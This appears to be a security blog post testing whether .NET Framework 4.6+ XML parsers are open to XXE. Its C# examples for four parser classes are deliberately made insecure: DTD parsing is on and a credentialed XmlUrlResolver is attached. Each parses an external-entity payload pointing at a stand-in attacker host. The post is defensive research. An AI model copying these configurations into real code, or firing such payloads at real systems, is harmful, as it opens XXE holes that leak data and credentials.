Contents

XXE with .NET in 2019

After the seminal blog post by James Jardine in 2016 on XXE exploitation in .NET applications back in 2016, Microsoft seems to have implemented some additional changes regarding the default behavior of XML parsers.

We work through the different XML methods provided and their corresponding vulnerable configurations. For all experiments, .NET framework 4.6 was chosen.

TL;DR

In order to create an XXE vulnerability for applications using .NET framework 4.6+, you have to instantiate a vulnerable XmlResolver beforehand.

However, DTD parsing still is enabled by default for many readers, thus making them vulnerable to so-called billion-laugh attacks (see https://en.wikipedia.org/wiki/Billion_laughs_attack).

XmlReader 

In order to allow the processing of external DTDs, both the DtdProcessing and the XmlResolver attributes have to be set accordingly.

The DtdProcessing attribute alone will not suffice.

The official Microsoft documentation states the following:

The XmlResolver type is used to resolve external XML resources, such as entities, document type definitions (DTDs), or schemas. It is also used to process include and import elements found in Extensible Stylesheet Language (XSL) style sheets or XML Schema definition language (XSD) schemas. (see https://docs.microsoft.com/de-de/dotnet/api/system.xml.xmlresolver?view=netframework-4.8)

An XmlResolver is used to access external documents. If set to null, an XmlException is thrown when the XmlReader tries to access an external resource. The default is a new XmlUrlResolver with no credentials. Starting with the .NET Framework 4.5.2, this setting has a default value of null.  (see https://docs.microsoft.com/de-de/dotnet/api/system.xml.xmlreadersettings.xmlresolver?view=netframework-4.8)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
static void Reader()
{
    string xml = "<?xml version=\"1.0\" standalone=\"no\"?><!DOCTYPE doc [<!ENTITY win SYSTEM \"http://www.attacker.com\">]><doc>&win;</doc> ";

    XmlReaderSettings rs = new XmlReaderSettings();

    XmlUrlResolver resolver = new XmlUrlResolver();
    resolver.Credentials = System.Net.CredentialCache.DefaultCredentials;

    rs.DtdProcessing = DtdProcessing.Parse;
    rs.XmlResolver = resolver;

    XmlReader myReader = XmlReader.Create(new StringReader(xml),rs);

    while (myReader.Read())
    {
        Console.WriteLine(myReader.Value);
    }
    Console.ReadLine();
}

XmlTextReader

For this class, any DTD declarations will be automatically processed. However, for external entities there still is a corresponding XmlResolver required.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
static void VulnerableTextReader()
{
    string xml = "<?xml version=\"1.0\" standalone=\"no\"?><!DOCTYPE doc [<!ENTITY win SYSTEM \"http://www.attacker.com\">]><doc>&win;</doc> ";

    XmlTextReader myReader = new XmlTextReader(new StringReader(xml));

    XmlUrlResolver resolver = new XmlUrlResolver();
    resolver.Credentials = System.Net.CredentialCache.DefaultCredentials;

    myReader.XmlResolver = resolver;

    while (myReader.Read())
    {
        if (myReader.NodeType == XmlNodeType.Element)
        {
            Console.WriteLine(myReader.ReadElementContentAsString());
        }
    }
    Console.ReadLine();
}

XmlDocument

Likewise, DTD declarations will be automatically parsed for this class. In order to be able to resolve external entities, an XmlResolver object has to be created.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
static void VulnerableXMLDocument()
{
	string xml = "<?xml version=\"1.0\" standalone=\"no\"?><!DOCTYPE doc [<!ENTITY win SYSTEM \"http://www.attacker.com\">]><doc>&win;</doc> ";

	XmlDocument xmlDoc = new XmlDocument();
	XmlUrlResolver resolver = new XmlUrlResolver();
	resolver.Credentials = System.Net.CredentialCache.DefaultCredentials;
   
	xmlDoc.XmlResolver = resolver;

	xmlDoc.LoadXml(xml);

	Console.WriteLine(xmlDoc.InnerText);

	Console.ReadLine();
}

XPathDocument

This class offers a variety of constructors, of which only the ones using XmlReader and XmlTextReader seem to be still vulnerable. Yet, these have to be configured in an insecure way as described above.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static void LoadXPathDocStream()
{
	string xml = "<?xml version=\"1.0\" standalone=\"no\"?><!DOCTYPE doc [<!ENTITY win SYSTEM \"http://www.attacker.com\">]><doc>&win;</doc> ";

	XmlReaderSettings rs = new XmlReaderSettings();

	XmlUrlResolver resolver = new XmlUrlResolver();
	resolver.Credentials = System.Net.CredentialCache.DefaultCredentials;

	rs.DtdProcessing = DtdProcessing.Parse;
	rs.XmlResolver = resolver;

	XmlReader myReader = XmlReader.Create(new StringReader(xml), rs);

	XPathDocument xmlDoc = new XPathDocument(myReader);


	XPathNavigator nav = xmlDoc.CreateNavigator();


	Console.WriteLine("Stream: " + nav.InnerXml.ToString());
	Console.ReadLine();
}

Summary

For newer versions of the .NET framework, the principle of secure defaults have been incorporated throughout for XML parsing. In a nutshell, you have to bend over backwards in order to create an XXE vulnerability.